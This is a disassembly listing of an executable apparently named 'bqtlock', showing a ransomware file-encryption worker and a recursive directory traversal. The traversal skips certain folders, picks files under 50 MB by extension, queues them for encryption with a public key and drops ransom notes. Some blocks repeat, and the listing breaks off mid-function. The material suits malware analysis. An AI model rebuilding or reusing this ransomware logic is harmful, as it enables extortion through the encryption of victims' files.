File bqtlock_618070d597dd73c43ba5d4bde2baa93a4f6038e3279de3bafe688caa5c409a58.exe
Function:
Loading..
1400078a5
1400078a5encryption_worker(evp_pkey_st*):
1400078a5push rbp
1400078a6push rbx
1400078a7sub rsp, 88
1400078ablea rbp, [rsp+80]
1400078b0mov [rbp+32], rcx
1400078b4
1400078b4loc_1400078b4:
1400078b4lea rax, [rbp-48]
1400078b8mov rcx, rax
1400078bbcall std::filesystem::__cxx11::path::path()
1400078c0lea rdx, [rip+0x1c0779]
1400078c7lea rax, [rbp-8]
1400078cbmov rcx, rax
1400078cecall std::lock_guard<std::mutex>::lock_guard(std::mutex&)
1400078d3lea rax, [rip+0x1c0776]
1400078damov rcx, rax
1400078ddcall std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::empty() const
1400078e2test al, al
1400078e4je 0x1400078ed
1400078e6mov ebx, 0
1400078ebjmp 0x14000791f
1400078ed
1400078edloc_1400078ed:
1400078edlea rax, [rip+0x1c075c]
1400078f4mov rcx, rax
1400078f7call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::back()
1400078fcmov rdx, rax
1400078fflea rax, [rbp-48]
140007903mov rcx, rax
140007906call std::filesystem::__cxx11::path::operator=(std::filesystem::__cxx11::path const&)
14000790blea rax, [rip+0x1c073e]
140007912mov rcx, rax
140007915call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::pop_back()
14000791amov ebx, 1
14000791f
14000791floc_14000791f:
14000791flea rax, [rbp-8]
140007923mov rcx, rax
140007926call std::lock_guard<std::mutex>::~lock_guard()
14000792bcmp ebx, 1
14000792ejne 0x140007943
140007930nop
140007931mov rdx, [rbp+32]
140007935lea rax, [rbp-48]
140007939mov rcx, rax
14000793ccall encrypt_file(std::filesystem::__cxx11::path const&, evp_pkey_st*)
140007941jmp 0x14000794a
140007943
140007943loc_140007943:
140007943mov ebx, 0
140007948jmp 0x14000794f
14000794a
14000794aloc_14000794a:
14000794amov ebx, 1
14000794f
14000794floc_14000794f:
14000794flea rax, [rbp-48]
140007953mov rcx, rax
140007956call std::filesystem::__cxx11::path::~path()
14000795bcmp ebx, 1
14000795ejne 0x140007990
140007960jmp 0x1400078b4
140007965
140007965 48 89 c3 48 8d 45 f8 48 89 c1 e8 H..H.E.H...
140007970 0c 66 0a 00 eb 03 48 89 c3 48 8d 45 d0 48 89 c1 .f....H..H.E.H..
140007980 e8 1b 1c 0a 00 48 89 d8 48 89 c1 e8 10 3a 01 00 .....H..H....:..
140007990
140007990loc_140007990:
140007990nop
140007991add rsp, 88
140007995pop rbx
140007996pop rbp
140007997ret
1400078a5
1400078a5encryption_worker(evp_pkey_st*):
1400078a5push rbp
1400078a6push rbx
1400078a7sub rsp, 88
1400078ablea rbp, [rsp+80]
1400078b0mov [rbp+32], rcx
1400078b4
1400078b4loc_1400078b4:
1400078b4lea rax, [rbp-48]
1400078b8mov rcx, rax
1400078bbcall std::filesystem::__cxx11::path::path()
1400078c0lea rdx, [rip+0x1c0779]
1400078c7lea rax, [rbp-8]
1400078cbmov rcx, rax
1400078cecall std::lock_guard<std::mutex>::lock_guard(std::mutex&)
1400078d3lea rax, [rip+0x1c0776]
1400078damov rcx, rax
1400078ddcall std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::empty() const
1400078e2test al, al
1400078e4je 0x1400078ed
1400078e6mov ebx, 0
1400078ebjmp 0x14000791f
1400078ed
1400078edloc_1400078ed:
1400078edlea rax, [rip+0x1c075c]
1400078f4mov rcx, rax
1400078f7call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::back()
1400078fcmov rdx, rax
1400078fflea rax, [rbp-48]
140007903mov rcx, rax
140007906call std::filesystem::__cxx11::path::operator=(std::filesystem::__cxx11::path const&)
14000790blea rax, [rip+0x1c073e]
140007912mov rcx, rax
140007915call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::pop_back()
14000791amov ebx, 1
14000791f
14000791floc_14000791f:
14000791flea rax, [rbp-8]
140007923mov rcx, rax
140007926call std::lock_guard<std::mutex>::~lock_guard()
14000792bcmp ebx, 1
14000792ejne 0x140007943
140007930nop
140007931mov rdx, [rbp+32]
140007935lea rax, [rbp-48]
140007939mov rcx, rax
14000793ccall encrypt_file(std::filesystem::__cxx11::path const&, evp_pkey_st*)
140007941jmp 0x14000794a
140007943
140007943loc_140007943:
140007943mov ebx, 0
140007948jmp 0x14000794f
14000794a
14000794aloc_14000794a:
14000794amov ebx, 1
14000794f
14000794floc_14000794f:
14000794flea rax, [rbp-48]
140007953mov rcx, rax
140007956call std::filesystem::__cxx11::path::~path()
14000795bcmp ebx, 1
14000795ejne 0x140007990
140007960jmp 0x1400078b4
140007965
140007965 48 89 c3 48 8d 45 f8 48 89 c1 e8 H..H.E.H...
140007970 0c 66 0a 00 eb 03 48 89 c3 48 8d 45 d0 48 89 c1 .f....H..H.E.H..
140007980 e8 1b 1c 0a 00 48 89 d8 48 89 c1 e8 10 3a 01 00 .....H..H....:..
140007990
140007990loc_140007990:
140007990nop
140007991add rsp, 88
140007995pop rbx
140007996pop rbp
140007997ret
1400078a5
140007998
140007998traverse_and_collect(std::filesystem::__cxx11::path const&):
140007998push rbp
140007999push rsi
14000799apush rbx
14000799bsub rsp, 976
1400079a2lea rbp, [rsp+128]
1400079aamov [rbp+880], rcx
1400079b1mov rax, [rbp+880]
1400079b8mov rcx, rax
1400079bbcall std::filesystem::exists(std::filesystem::__cxx11::path const&)
1400079c0xor eax, 1
1400079c3test al, al
1400079c5jne 0x1400079dd
1400079c7mov rax, [rbp+880]
1400079cemov rcx, rax
1400079d1call std::filesystem::is_directory(std::filesystem::__cxx11::path const&)
1400079d6xor eax, 1
1400079d9test al, al
1400079dbje 0x1400079e4
1400079dd
1400079ddloc_1400079dd:
1400079ddmov eax, 1
1400079e2jmp 0x1400079e9
1400079e4
1400079e4loc_1400079e4:
1400079e4mov eax, 0
1400079e9
1400079e9loc_1400079e9:
1400079e9test al, al
1400079ebjne 0x140008472
1400079f1mov [rbp+847], 0
1400079f8mov rdx, [rbp+880]
1400079fflea rax, [rbp-16]
140007a03mov r8l, 2
140007a09mov rcx, rax
140007a0ccall std::filesystem::__cxx11::directory_iterator::directory_iterator(std::filesystem::__cxx11::path const&, std::filesystem::directory_options)
140007a11lea rax, [rbp-16]
140007a15mov [rbp+832], rax
140007a1cmov rdx, [rbp+832]
140007a23mov rax, rbp
140007a26mov rcx, rax
140007a29call std::filesystem::__cxx11::directory_iterator::directory_iterator(std::filesystem::__cxx11::directory_iterator const&)
140007a2elea rax, [rbp-32]
140007a32mov rdx, rbp
140007a35mov rcx, rax
140007a38call std::filesystem::__cxx11::begin(std::filesystem::__cxx11::directory_iterator)
140007a3dmov rax, rbp
140007a40mov rcx, rax
140007a43call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007a48mov rdx, [rbp+832]
140007a4flea rax, [rbp+16]
140007a53mov rcx, rax
140007a56call std::filesystem::__cxx11::directory_iterator::directory_iterator(std::filesystem::__cxx11::directory_iterator const&)
140007a5blea rax, [rbp-48]
140007a5flea rdx, [rbp+16]
140007a63mov rcx, rax
140007a66call std::filesystem::__cxx11::end(std::filesystem::__cxx11::directory_iterator)
140007a6blea rax, [rbp+16]
140007a6fmov rcx, rax
140007a72call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007a77jmp 0x140007d56
140007a7c
140007a7cloc_140007a7c:
140007a7clea rax, [rbp-32]
140007a80mov rcx, rax
140007a83call std::filesystem::__cxx11::directory_iterator::operator*() const
140007a88mov [rbp+824], rax
140007a8fmov rax, [rbp+824]
140007a96mov rcx, rax
140007a99call std::filesystem::__cxx11::directory_entry::is_directory() const
140007a9etest al, al
140007aa0je 0x140007c10
140007aa6mov rax, [rbp+824]
140007aadmov rcx, rax
140007ab0call std::filesystem::__cxx11::directory_entry::path() const
140007ab5mov rdx, rax
140007ab8lea rax, [rbp+32]
140007abcmov rcx, rax
140007abfcall std::filesystem::__cxx11::path::filename() const
140007ac4lea rax, [rbp-96]
140007ac8lea rdx, [rbp+32]
140007accmov rcx, rax
140007acfcall std::filesystem::__cxx11::path::string() const
140007ad4lea rax, [rbp+32]
140007ad8mov rcx, rax
140007adbcall std::filesystem::__cxx11::path::~path()
140007ae0lea rdx, [rip+0xff749]
140007ae7lea rax, [rbp-96]
140007aebmov rcx, rax
140007aeecall _ZStneIcSt11char_traitsIcESaIcEEbRKNSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_
140007af3test al, al
140007af5je 0x140007bdf
140007afblea rdx, [rip+0x100284]
140007b02lea rax, [rbp-96]
140007b06mov rcx, rax
140007b09call _ZStneIcSt11char_traitsIcESaIcEEbRKNSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_
140007b0etest al, al
140007b10je 0x140007bdf
140007b16lea rdx, [rip+0x10026c]
140007b1dlea rax, [rbp-96]
140007b21mov r8l, 0
140007b27mov rcx, rax
140007b2acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b2fcmp rax, -1
140007b33jne 0x140007bdf
140007b39lea rdx, [rip+0x100251]
140007b40lea rax, [rbp-96]
140007b44mov r8l, 0
140007b4amov rcx, rax
140007b4dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b52cmp rax, -1
140007b56jne 0x140007bdf
140007b5clea rdx, [rip+0x10023c]
140007b63lea rax, [rbp-96]
140007b67mov r8l, 0
140007b6dmov rcx, rax
140007b70call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b75cmp rax, -1
140007b79jne 0x140007bdf
140007b7blea rdx, [rip+0x100231]
140007b82lea rax, [rbp-96]
140007b86mov r8l, 0
140007b8cmov rcx, rax
140007b8fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b94cmp rax, -1
140007b98jne 0x140007bdf
140007b9alea rdx, [rip+0x10021f]
140007ba1lea rax, [rbp-96]
140007ba5mov r8l, 0
140007babmov rcx, rax
140007baecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007bb3cmp rax, -1
140007bb7jne 0x140007bdf
140007bb9lea rdx, [rip+0x100208]
140007bc0lea rax, [rbp-96]
140007bc4mov r8l, 0
140007bcamov rcx, rax
140007bcdcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007bd2cmp rax, -1
140007bd6jne 0x140007bdf
140007bd8mov eax, 1
140007bddjmp 0x140007be4
140007bdf
140007bdfloc_140007bdf:
140007bdfmov eax, 0
140007be4
140007be4loc_140007be4:
140007be4test al, al
140007be6je 0x140007bff
140007be8mov rax, [rbp+824]
140007befmov rcx, rax
140007bf2call std::filesystem::__cxx11::directory_entry::path() const
140007bf7mov rcx, rax
140007bfacall traverse_and_collect(std::filesystem::__cxx11::path const&)
140007bff
140007bffloc_140007bff:
140007bfflea rax, [rbp-96]
140007c03mov rcx, rax
140007c06call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140007c0bjmp 0x140007d4a
140007c10
140007c10loc_140007c10:
140007c10mov rax, [rbp+824]
140007c17mov rcx, rax
140007c1acall std::filesystem::__cxx11::directory_entry::is_regular_file() const
140007c1ftest al, al
140007c21je 0x140007c55
140007c23mov rax, [rbp+824]
140007c2amov rcx, rax
140007c2dcall std::filesystem::__cxx11::directory_entry::file_size() const
140007c32test rax, rax
140007c35je 0x140007c55
140007c37mov rax, [rbp+824]
140007c3emov rcx, rax
140007c41call std::filesystem::__cxx11::directory_entry::file_size() const
140007c46cmp rax, 0x3200000
140007c4cja 0x140007c55
140007c4emov eax, 1
140007c53jmp 0x140007c5a
140007c55
140007c55loc_140007c55:
140007c55mov eax, 0
140007c5a
140007c5aloc_140007c5a:
140007c5atest al, al
140007c5cje 0x140007d4a
140007c62lea rax, [rbp+80]
140007c66lea rdx, [rip+0x1c04d3]
140007c6dmov rcx, rax
140007c70call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140007c75mov rax, [rbp+824]
140007c7cmov rcx, rax
140007c7fcall std::filesystem::__cxx11::directory_entry::path() const
140007c84mov rdx, rax
140007c87lea rax, [rbp+144]
140007c8emov rcx, rax
140007c91call std::filesystem::__cxx11::path::extension() const
140007c96lea rax, [rbp+112]
140007c9alea rdx, [rbp+144]
140007ca1mov rcx, rax
140007ca4call std::filesystem::__cxx11::path::string() const
140007ca9lea rdx, [rbp+80]
140007cadlea rax, [rbp+112]
140007cb1mov rcx, rax
140007cb4call _ZStneIcSt11char_traitsIcESaIcEEbRKNSt7__cxx1112basic_stringIT_T0_T1_EESA_
140007cb9mov ebx, eax
140007cbblea rax, [rbp+112]
140007cbfmov rcx, rax
140007cc2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140007cc7lea rax, [rbp+144]
140007ccemov rcx, rax
140007cd1call std::filesystem::__cxx11::path::~path()
140007cd6lea rax, [rbp+80]
140007cdamov rcx, rax
140007cddcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140007ce2test bl, bl
140007ce4je 0x140007d4a
140007ce6lea rdx, [rip+0x1c0353]
140007cedlea rax, [rbp-56]
140007cf1mov rcx, rax
140007cf4call std::lock_guard<std::mutex>::lock_guard(std::mutex&)
140007cf9mov rax, [rbp+824]
140007d00mov rcx, rax
140007d03call std::filesystem::__cxx11::directory_entry::path() const
140007d08mov rdx, rax
140007d0blea rax, [rip+0x1c033e]
140007d12mov rcx, rax
140007d15call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::push_back(std::filesystem::__cxx11::path const&)
140007d1amovzx eax, [rbp+847]
140007d21xor eax, 1
140007d24test al, al
140007d26je 0x140007d3e
140007d28mov rax, [rbp+880]
140007d2fmov rcx, rax
140007d32call create_ransom_note_in_dir(std::filesystem::__cxx11::path const&)
140007d37mov [rbp+847], 1
140007d3e
140007d3eloc_140007d3e:
140007d3elea rax, [rbp-56]
140007d42mov rcx, rax
140007d45call std::lock_guard<std::mutex>::~lock_guard()
140007d4a
140007d4aloc_140007d4a:
140007d4alea rax, [rbp-32]
140007d4emov rcx, rax
140007d51call std::filesystem::__cxx11::directory_iterator::operator++()
140007d56
140007d56loc_140007d56:
140007d56lea rdx, [rbp-48]
140007d5alea rax, [rbp-32]
140007d5emov rcx, rax
140007d61call std::filesystem::__cxx11::operator!=(std::filesystem::__cxx11::directory_iterator const&, std::filesystem::__cxx11::directory_iterator const&)
140007d66test al, al
140007d68jne 0x140007a7c
140007d6elea rax, [rbp-48]
140007d72mov rcx, rax
140007d75call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007d7alea rax, [rbp-32]
140007d7emov rcx, rax
140007d81call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007d86lea rax, [rbp-16]
140007d8amov rcx, rax
140007d8dcall std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007d92jmp 0x140008473
140007d97
140007d97 48 89 c6 48 89 d3 48 8d 45 H..H..H.E
140007da0 20 48 89 c1 e8 f7 17 0a 00 48 89 f0 48 89 da eb H.......H..H...
140007db0 65 48 89 c6 48 89 d3 48 8d 45 a0 48 89 c1 e8 0d eH..H..H.E.H....
140007dc0 97 0d 00 48 89 f0 48 89 da eb 4b 48 89 c6 48 89 ...H..H...KH..H.
140007dd0 d3 48 8d 85 90 00 00 00 48 89 c1 e8 c0 17 0a 00 .H......H.......
140007de0 eb 06 48 89 c6 48 89 d3 48 8d 45 50 48 89 c1 e8 ..H..H..H.EPH...
140007df0 dc 96 0d 00 48 89 f0 48 89 da eb 1a 48 89 c6 48 ....H..H....H..H
140007e00 89 d3 48 8d 45 c8 48 89 c1 e8 72 61 0a 00 48 89 ..H.E.H...ra..H.
140007e10 f0 48 89 da eb 00 48 83 fa 01 0f 85 54 01 00 00 .H....H.....T...
140007e20 48 89 c1 e8 68 9e 0f 00 48 89 85 30 03 00 00 48 H...h...H..0...H
140007e30 8d 85 ef 00 00 00 48 89 85 20 03 00 00 90 90 48 ......H.. .....H
140007e40 8d 8d ef 00 00 00 48 8d 15 b6 f3 0f 00 48 8d 85 ......H......H..
140007e50 c0 00 00 00 49 89 c8 48 89 c1 e8 c1 8f 0d 00 48 ....I..H.......H
140007e60 8b 85 30 03 00 00 48 8b 00 48 83 c0 10 48 8b 10 ..0...H..H...H..
140007e70 48 8b 85 30 03 00 00 48 89 c1 ff d2 48 89 c3 48 H..0...H....H..H
140007e80 8b 85 38 03 00 00 48 89 c1 e8 a2 4d 02 00 48 89 ..8...H....M..H.
140007e90 c2 48 8d 85 50 01 00 00 48 89 c1 e8 60 76 02 00 .H..P...H...`v..
140007ea0 48 8d 85 30 01 00 00 48 8d 8d 50 01 00 00 48 8d H..0...H..P...H.
140007eb0 15 23 ff 0f 00 49 89 c8 48 89 c1 e8 10 6c 0f 00 .#...I..H....l..
140007ec0 48 8d 85 10 01 00 00 48 8d 0d 9a fe 0f 00 48 8d H......H......H.
140007ed0 95 30 01 00 00 49 89 c8 48 89 c1 e8 70 6a 0f 00 .0...I..H...pj..
140007ee0 48 8d 85 f0 00 00 00 48 8d 95 10 01 00 00 49 89 H......H......I.
140007ef0 d8 48 89 c1 e8 57 6a 0f 00 48 8d 95 c0 00 00 00 .H...Wj..H......
140007f00 48 8d 85 f0 00 00 00 48 89 c1 e8 fc 97 ff ff 48 H......H.......H
140007f10 8d 85 f0 00 00 00 48 89 c1 e8 b2 95 0d 00 48 8d ......H.......H.
140007f20 85 10 01 00 00 48 89 c1 e8 a3 95 0d 00 48 8d 85 .....H.......H..
140007f30 30 01 00 00 48 89 c1 e8 94 95 0d 00 48 8d 85 50 0...H.......H..P
140007f40 01 00 00 48 89 c1 e8 85 95 0d 00 48 8d 85 c0 00 ...H.......H....
140007f50 00 00 48 89 c1 e8 76 95 0d 00 48 8d 85 ef 00 00 ..H...v...H.....
140007f60 00 48 89 c1 e8 67 5e 0c 00 90 e8 11 9f 0f 00 e9 .H...g^.........
140007f70 d6 fd ff ff 48 89 c1 e8 14 9d 0f 00 48 8d 85 9f ....H.......H...
140007f80 01 00 00 48 89 85 18 03 00 00 90 90 48 8d 8d 9f ...H........H...
140007f90 01 00 00 48 8d 15 69 f2 0f 00 48 8d 85 70 01 00 ...H..i...H..p..
140007fa0 00 49 89 c8 48 89 c1 e8 74 8e 0d 00 48 8b 85 38 .I..H...t...H..8
140007fb0 03 00 00 48 89 c1 e8 75 4c 02 00 48 89 c2 48 8d ...H...uL..H..H.
140007fc0 85 c0 01 00 00 48 89 c1 e8 33 75 02 00 48 8d 85 .....H...3u..H..
140007fd0 a0 01 00 00 48 8d 8d c0 01 00 00 48 8d 15 1e fe ....H......H....
140007fe0 0f 00 49 89 c8 48 89 c1 e8 e3 6a 0f 00 48 8d 95 ..I..H....j..H..
140007ff0 70 01 00 00 48 8d 85 a0 01 00 00 48 89 c1 e8 08 p...H......H....
140008000 97 ff ff 48 8d 85 a0 01 00 00 48 89 c1 e8 be 94 ...H......H.....
140008010 0d 00 48 8d 85 c0 01 00 00 48 89 c1 e8 af 94 0d ..H......H......
140008020 00 48 8d 85 70 01 00 00 48 89 c1 e8 a0 94 0d 00 .H..p...H.......
140008030 48 8d 85 9f 01 00 00 48 89 c1 e8 91 5d 0c 00 90 H......H....]...
140008040 e8 3b 9e 0f 00 e9 00 fd ff ff 48 89 c6 48 89 d3 .;........H..H..
140008050 48 8d 85 f0 00 00 00 48 89 c1 e8 71 94 0d 00 eb H......H...q....
140008060 06 48 89 c6 48 89 d3 48 8d 85 10 01 00 00 48 89 .H..H..H......H.
140008070 c1 e8 5a 94 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ..Z.....H..H..H.
140008080 85 30 01 00 00 48 89 c1 e8 43 94 0d 00 eb 06 48 .0...H...C.....H
140008090 89 c6 48 89 d3 48 8d 85 50 01 00 00 48 89 c1 e8 ..H..H..P...H...
1400080a0 2c 94 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 c0 ,.....H..H..H...
1400080b0 00 00 00 48 89 c1 e8 15 94 0d 00 eb 06 48 89 c6 ...H.........H..
1400080c0 48 89 d3 48 8d 85 ef 00 00 00 48 89 c1 e8 fe 5c H..H......H....\
1400080d0 0c 00 90 e8 a8 9d 0f 00 eb 68 48 89 c6 48 89 d3 .........hH..H..
1400080e0 48 8d 85 a0 01 00 00 48 89 c1 e8 e1 93 0d 00 eb H......H........
1400080f0 06 48 89 c6 48 89 d3 48 8d 85 c0 01 00 00 48 89 .H..H..H......H.
140008100 c1 e8 ca 93 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ........H..H..H.
140008110 85 70 01 00 00 48 89 c1 e8 b3 93 0d 00 eb 06 48 .p...H.........H
140008120 89 c6 48 89 d3 48 8d 85 9f 01 00 00 48 89 c1 e8 ..H..H......H...
140008130 9c 5c 0c 00 90 e8 46 9d 0f 00 eb 06 48 89 c6 48 .\....F.....H..H
140008140 89 d3 48 8d 45 d0 48 89 c1 e8 62 ab 09 00 48 8d ..H.E.H...b...H.
140008150 45 e0 48 89 c1 e8 56 ab 09 00 48 8d 45 f0 48 89 E.H...V...H.E.H.
140008160 c1 e8 4a ab 09 00 48 89 f0 48 89 da eb 00 48 83 ..J...H..H....H.
140008170 fa 01 0f 85 49 01 00 00 48 89 c1 e8 10 9b 0f 00 ....I...H.......
140008180 48 89 85 28 03 00 00 48 8d 85 0f 02 00 00 48 89 H..(...H......H.
140008190 85 10 03 00 00 90 90 48 8d 8d 0f 02 00 00 48 8d .......H......H.
1400081a0 15 5e f0 0f 00 48 8d 85 e0 01 00 00 49 89 c8 48 .^...H......I..H
1400081b0 89 c1 e8 69 8c 0d 00 48 8b 85 28 03 00 00 48 8b ...i...H..(...H.
1400081c0 00 48 83 c0 10 48 8b 10 48 8b 85 28 03 00 00 48 .H...H..H..(...H
1400081d0 89 c1 ff d2 48 89 c3 48 8d 85 70 02 00 00 48 8b ....H..H..p...H.
1400081e0 95 70 03 00 00 48 89 c1 e8 13 73 02 00 48 8d 85 .p...H....s..H..
1400081f0 50 02 00 00 48 8d 8d 70 02 00 00 48 8d 15 23 fc P...H..p...H..#.
140008200 0f 00 49 89 c8 48 89 c1 e8 c3 68 0f 00 48 8d 85 ..I..H....h..H..
140008210 30 02 00 00 48 8d 0d 4d fb 0f 00 48 8d 95 50 02 0...H..M...H..P.
140008220 00 00 49 89 c8 48 89 c1 e8 23 67 0f 00 48 8d 85 ..I..H...#g..H..
140008230 10 02 00 00 48 8d 95 30 02 00 00 49 89 d8 48 89 ....H..0...I..H.
140008240 c1 e8 0a 67 0f 00 48 8d 95 e0 01 00 00 48 8d 85 ...g..H......H..
140008250 10 02 00 00 48 89 c1 e8 af 94 ff ff 48 8d 85 10 ....H.......H...
140008260 02 00 00 48 89 c1 e8 65 92 0d 00 48 8d 85 30 02 ...H...e...H..0.
140008270 00 00 48 89 c1 e8 56 92 0d 00 48 8d 85 50 02 00 ..H...V...H..P..
140008280 00 48 89 c1 e8 47 92 0d 00 48 8d 85 70 02 00 00 .H...G...H..p...
140008290 48 89 c1 e8 38 92 0d 00 48 8d 85 e0 01 00 00 48 H...8...H......H
1400082a0 89 c1 e8 29 92 0d 00 48 8d 85 0f 02 00 00 48 89 ...)...H......H.
1400082b0 c1 e8 1a 5b 0c 00 90 e8 c4 9b 0f 00 e9 b2 01 00 ...[............
1400082c0 00 48 89 c1 e8 c7 99 0f 00 48 8d 85 bf 02 00 00 .H.......H......
1400082d0 48 89 85 08 03 00 00 90 90 48 8d 8d bf 02 00 00 H........H......
1400082e0 48 8d 15 1c ef 0f 00 48 8d 85 90 02 00 00 49 89 H......H......I.
1400082f0 c8 48 89 c1 e8 27 8b 0d 00 48 8d 85 e0 02 00 00 .H...'...H......
140008300 48 8b 95 70 03 00 00 48 89 c1 e8 f1 71 02 00 48 H..p...H....q..H
140008310 8d 85 c0 02 00 00 48 8d 8d e0 02 00 00 48 8d 15 ......H......H..
140008320 1e fb 0f 00 49 89 c8 48 89 c1 e8 a1 67 0f 00 48 ....I..H....g..H
140008330 8d 95 90 02 00 00 48 8d 85 c0 02 00 00 48 89 c1 ......H......H..
140008340 e8 c6 93 ff ff 48 8d 85 c0 02 00 00 48 89 c1 e8 .....H......H...
140008350 7c 91 0d 00 48 8d 85 e0 02 00 00 48 89 c1 e8 6d |...H......H...m
140008360 91 0d 00 48 8d 85 90 02 00 00 48 89 c1 e8 5e 91 ...H......H...^.
140008370 0d 00 48 8d 85 bf 02 00 00 48 89 c1 e8 4f 5a 0c ..H......H...OZ.
140008380 00 90 e8 f9 9a 0f 00 e9 e7 00 00 00 48 89 c3 48 ............H..H
140008390 8d 85 10 02 00 00 48 89 c1 e8 32 91 0d 00 eb 03 ......H...2.....
1400083a0 48 89 c3 48 8d 85 30 02 00 00 48 89 c1 e8 1e 91 H..H..0...H.....
1400083b0 0d 00 eb 03 48 89 c3 48 8d 85 50 02 00 00 48 89 ....H..H..P...H.
1400083c0 c1 e8 0a 91 0d 00 eb 03 48 89 c3 48 8d 85 70 02 ........H..H..p.
1400083d0 00 00 48 89 c1 e8 f6 90 0d 00 eb 03 48 89 c3 48 ..H.........H..H
1400083e0 8d 85 e0 01 00 00 48 89 c1 e8 e2 90 0d 00 eb 03 ......H.........
1400083f0 48 89 c3 48 8d 85 0f 02 00 00 48 89 c1 e8 ce 59 H..H......H....Y
140008400 0c 00 90 e8 78 9a 0f 00 48 89 d8 48 89 c1 e8 8d ....x...H..H....
140008410 2f 01 00 48 89 c3 48 8d 85 c0 02 00 00 48 89 c1 /..H..H......H..
140008420 e8 ab 90 0d 00 eb 03 48 89 c3 48 8d 85 e0 02 00 .......H..H.....
140008430 00 48 89 c1 e8 97 90 0d 00 eb 03 48 89 c3 48 8d .H.........H..H.
140008440 85 90 02 00 00 48 89 c1 e8 83 90 0d 00 eb 03 48 .....H.........H
140008450 89 c3 48 8d 85 bf 02 00 00 48 89 c1 e8 6f 59 0c ..H......H...oY.
140008460 00 90 e8 19 9a 0f 00 48 89 d8 48 89 c1 e8 2e 2f .......H..H..../
140008470 01 00 ..
140008472
140008472loc_140008472:
140008472nop
140008473
140008473loc_140008473:
140008473add rsp, 976
14000847apop rbx
14000847bpop rsi
14000847cpop rbp
14000847dret
140007998
140007998traverse_and_collect(std::filesystem::__cxx11::path const&):
140007998push rbp
140007999push rsi
14000799apush rbx
14000799bsub rsp, 976
1400079a2lea rbp, [rsp+128]
1400079aamov [rbp+880], rcx
1400079b1mov rax, [rbp+880]
1400079b8mov rcx, rax
1400079bbcall std::filesystem::exists(std::filesystem::__cxx11::path const&)
1400079c0xor eax, 1
1400079c3test al, al
1400079c5jne 0x1400079dd
1400079c7mov rax, [rbp+880]
1400079cemov rcx, rax
1400079d1call std::filesystem::is_directory(std::filesystem::__cxx11::path const&)
1400079d6xor eax, 1
1400079d9test al, al
1400079dbje 0x1400079e4
1400079dd
1400079ddloc_1400079dd:
1400079ddmov eax, 1
1400079e2jmp 0x1400079e9
1400079e4
1400079e4loc_1400079e4:
1400079e4mov eax, 0
1400079e9
1400079e9loc_1400079e9:
1400079e9test al, al
1400079ebjne 0x140008472
1400079f1mov [rbp+847], 0
1400079f8mov rdx, [rbp+880]
1400079fflea rax, [rbp-16]
140007a03mov r8l, 2
140007a09mov rcx, rax
140007a0ccall std::filesystem::__cxx11::directory_iterator::directory_iterator(std::filesystem::__cxx11::path const&, std::filesystem::directory_options)
140007a11lea rax, [rbp-16]
140007a15mov [rbp+832], rax
140007a1cmov rdx, [rbp+832]
140007a23mov rax, rbp
140007a26mov rcx, rax
140007a29call std::filesystem::__cxx11::directory_iterator::directory_iterator(std::filesystem::__cxx11::directory_iterator const&)
140007a2elea rax, [rbp-32]
140007a32mov rdx, rbp
140007a35mov rcx, rax
140007a38call std::filesystem::__cxx11::begin(std::filesystem::__cxx11::directory_iterator)
140007a3dmov rax, rbp
140007a40mov rcx, rax
140007a43call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007a48mov rdx, [rbp+832]
140007a4flea rax, [rbp+16]
140007a53mov rcx, rax
140007a56call std::filesystem::__cxx11::directory_iterator::directory_iterator(std::filesystem::__cxx11::directory_iterator const&)
140007a5blea rax, [rbp-48]
140007a5flea rdx, [rbp+16]
140007a63mov rcx, rax
140007a66call std::filesystem::__cxx11::end(std::filesystem::__cxx11::directory_iterator)
140007a6blea rax, [rbp+16]
140007a6fmov rcx, rax
140007a72call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007a77jmp 0x140007d56
140007a7c
140007a7cloc_140007a7c:
140007a7clea rax, [rbp-32]
140007a80mov rcx, rax
140007a83call std::filesystem::__cxx11::directory_iterator::operator*() const
140007a88mov [rbp+824], rax
140007a8fmov rax, [rbp+824]
140007a96mov rcx, rax
140007a99call std::filesystem::__cxx11::directory_entry::is_directory() const
140007a9etest al, al
140007aa0je 0x140007c10
140007aa6mov rax, [rbp+824]
140007aadmov rcx, rax
140007ab0call std::filesystem::__cxx11::directory_entry::path() const
140007ab5mov rdx, rax
140007ab8lea rax, [rbp+32]
140007abcmov rcx, rax
140007abfcall std::filesystem::__cxx11::path::filename() const
140007ac4lea rax, [rbp-96]
140007ac8lea rdx, [rbp+32]
140007accmov rcx, rax
140007acfcall std::filesystem::__cxx11::path::string() const
140007ad4lea rax, [rbp+32]
